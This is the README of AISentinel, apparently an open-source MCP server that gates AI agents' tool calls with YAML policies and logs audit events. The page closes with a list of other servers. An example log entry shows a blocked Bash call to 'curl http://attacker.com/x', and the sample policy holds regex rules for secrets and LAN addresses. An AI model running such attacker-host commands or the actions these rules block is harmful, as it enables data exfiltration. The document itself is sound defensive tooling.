AISentinel

AISentinel

An open-source MCP server that protects AI agents at runtime by evaluating every tool call against YAML policies and generating audit trails.

Category
访问服务器

README

AISentinel

MCP Server Apache 2.0 Built by BizDNAi Go 1.22+ AI Trust Index

The missing security, control, and observability layer for the agentic era.

Traditional security tools were built for malware. AI agents were given legitimate power through tools and APIs. AISentinel provides the missing security, control, and observability layer.


1. Project Title + Tagline

AISentinel — an open-source MCP server that protects AI agents at runtime. Built by Kabzhanov / BizDNAi, the team behind the AI Trust Index.


2. Why AISentinel Exists

AI agents now have shell, browsers, file systems, and API keys. They are legitimate processes — antivirus cannot see them. A single indirect prompt injection in a PDF or email can pivot into mass data exfiltration through ordinary tools like Bash and Email_send.

AISentinel closes that gap: it runs as an MCP server in front of every tool call, evaluates YAML policies, logs every decision, and ships an audit trail compatible with the AI Trust Index.

See docs/SECURITY_AUDIT.md for the full threat model.


3. Quickstart (3 minutes)

Option A: install the binary

go install github.com/Kabzhanov/AISentinel/cmd/aisentinel@latest
aisentinel --help
aisentinel serve --policy policies/default.yaml

Option B: clone and build

git clone https://github.com/Kabzhanov/AISentinel.git
cd AISentinel
go build -o bin/aisentinel ./cmd/aisentinel
./bin/aisentinel serve --policy policies/default.yaml

Option C: add to Claude Code / Cursor / Cline

{
  "mcpServers": {
    "aisentinel": {
      "command": "aisentinel",
      "args": ["serve", "--policy", "/absolute/path/to/policies/default.yaml"]
    }
  }
}

Then restart your MCP client and ask your agent to call any tool — AISentinel will gate every call and write a JSONL audit trail to ~/.aisentinel/events-YYYY-MM-DD.jsonl.


4. Key Features

  • Pre-tool gate — evaluate every tool call against a YAML policy (allow / block / require_human_approval / log_only).
  • Audit log — append-only JSONL with a standardised event schema.
  • Validate-policy — lint a YAML policy without loading it.
  • Built-in policiesdefault, strict, audit-only (see policies/).
  • MCP-native — works in Claude Code, Claude Desktop, Cursor, Cline, Continue.
  • Zero telemetry — runs locally; no phone-home.
  • Apache 2.0 — permissive open source with patent grant.

5. Connectors

  • MCP stdioaisentinel serve (Claude Code, Claude Desktop, Cursor, Cline, Continue).
  • Streamable-HTTPhttps://mcp.aisentinel.bizdnai.com/mcp (SaaS, OAuth via BizDNAi).
  • CLIaisentinel subcommands (serve, validate-policy, policies, events, version).
  • Library — Go package github.com/Kabzhanov/AISentinel/internal/policy for embedding.

6. Policy Examples

See policies/default.yaml for the full default policy.

version: 1
name: default
rules:
  - id: secret-in-args
    match: { tool_args_regex: "(?i)(api[_-]?key|secret|token|password|passwd)" }
    decision: block
    reason: "Possible secret in arguments"
  - id: lan-deny
    match: { tool_name: "Bash", tool_args_regex: "10\\.|192\\.168\\.|172\\.(1[6-9]|2\\d|3[01])\\." }
    decision: block
    reason: "LAN access blocked by default"

Match modes: tool_name, tool_name_regex, tool_args_regex, tool_args_contains. Multiple matchers AND-combine.


7. How it Improves AI Trust Index Score

AISentinel generates the observability data required for AI Trust Index assessments:

  • Every tool call → auditable event with agent_id, session_id, decision, signals.
  • Every policy decision → versioned, fingerprinted (policy_signature field).
  • Every block → reason, risk_signals, ready for an ATI submission.

Run aisentinel_get_ati_snapshot to get a JSON blob ready to paste into the AI Trust Index cabinet.


8. Licensing

AISentinel is available under two licensing options:

  1. Apache License 2.0 (Open Source)

    • Free to use, modify, and distribute under the terms of the Apache 2.0 license.
    • Includes explicit patent grant from contributors.
  2. Commercial License

    • For companies that want to embed AISentinel in closed-source products without open-source compliance requirements.
    • Contact: kabzhanov@gmail.com

By contributing to this repository, you agree to license your contributions under Apache 2.0.

See LICENSE and COMMERCIAL_LICENSE.md.


9. Installation

Requirements: Go 1.22+

go install github.com/Kabzhanov/AISentinel/cmd/aisentinel@latest

Verify:

aisentinel version
# AISentinel v1.0.0 — by Kabzhanov / BizDNAi / AI Trust Index

10. Usage Examples

Run the MCP server

aisentinel serve --policy policies/default.yaml

Validate a custom policy

aisentinel validate-policy my-policy.yaml

Tail recent audit events

aisentinel events --last 20

List built-in policies

aisentinel policies

Try a policy without blocking (shadow mode)

AISENTINEL_DRY_RUN=1 aisentinel serve --policy policies/default.yaml

11. Event Schema

See docs/event-schema.md. One JSON object per line in the JSONL log:

{
  "event_id": "20260707T221500.000000001-1",
  "timestamp": "2026-07-07T22:15:00Z",
  "event_type": "pre_tool",
  "agent_id": "agent-42",
  "session_id": "sess-abc",
  "tool_name": "Bash",
  "tool_args": { "command": "curl http://attacker.com/x" },
  "decision": "block",
  "policy_matched": ["bash-network"],
  "risk_signals": ["rule_matched:bash-network"]
}

12. Contributing

See CONTRIBUTING.md. By contributing you agree to license your contribution under Apache 2.0.


13. Roadmap

  • v1.0 (this release) — MCP stdio, 4 tools, 3 built-in policies, JSONL audit log.
  • v1.1aisentinel scan (MCP-config auditor), mobile connectors.
  • v1.2 — streamable-HTTP transport (SaaS mode), OAuth via BizDNAi.
  • v2.0 — ATI-feed integration, IDE plugins (VSCode MCP Inspector).

14. License

Apache License 2.0. See LICENSE.

AISentinel is dual-licensed under Apache 2.0 and a commercial license. For commercial terms, contact kabzhanov@gmail.com.


By Kabzhanov / BizDNAi — creators of the AI Trust Index.

推荐服务器

Baidu Map

Baidu Map

百度地图核心API现已全面兼容MCP协议,是国内首家兼容MCP协议的地图服务商。

官方
精选
JavaScript
Playwright MCP Server

Playwright MCP Server

一个模型上下文协议服务器,它使大型语言模型能够通过结构化的可访问性快照与网页进行交互,而无需视觉模型或屏幕截图。

官方
精选
TypeScript
Magic Component Platform (MCP)

Magic Component Platform (MCP)

一个由人工智能驱动的工具,可以从自然语言描述生成现代化的用户界面组件,并与流行的集成开发环境(IDE)集成,从而简化用户界面开发流程。

官方
精选
本地
TypeScript
Audiense Insights MCP Server

Audiense Insights MCP Server

通过模型上下文协议启用与 Audiense Insights 账户的交互,从而促进营销洞察和受众数据的提取和分析,包括人口统计信息、行为和影响者互动。

官方
精选
本地
TypeScript
VeyraX

VeyraX

一个单一的 MCP 工具,连接你所有喜爱的工具:Gmail、日历以及其他 40 多个工具。

官方
精选
本地
graphlit-mcp-server

graphlit-mcp-server

模型上下文协议 (MCP) 服务器实现了 MCP 客户端与 Graphlit 服务之间的集成。 除了网络爬取之外,还可以将任何内容(从 Slack 到 Gmail 再到播客订阅源)导入到 Graphlit 项目中,然后从 MCP 客户端检索相关内容。

官方
精选
TypeScript
Kagi MCP Server

Kagi MCP Server

一个 MCP 服务器,集成了 Kagi 搜索功能和 Claude AI,使 Claude 能够在回答需要最新信息的问题时执行实时网络搜索。

官方
精选
Python
e2b-mcp-server

e2b-mcp-server

使用 MCP 通过 e2b 运行代码。

官方
精选
Neon MCP Server

Neon MCP Server

用于与 Neon 管理 API 和数据库交互的 MCP 服务器

官方
精选
Exa MCP Server

Exa MCP Server

模型上下文协议(MCP)服务器允许像 Claude 这样的 AI 助手使用 Exa AI 搜索 API 进行网络搜索。这种设置允许 AI 模型以安全和受控的方式获取实时的网络信息。

官方
精选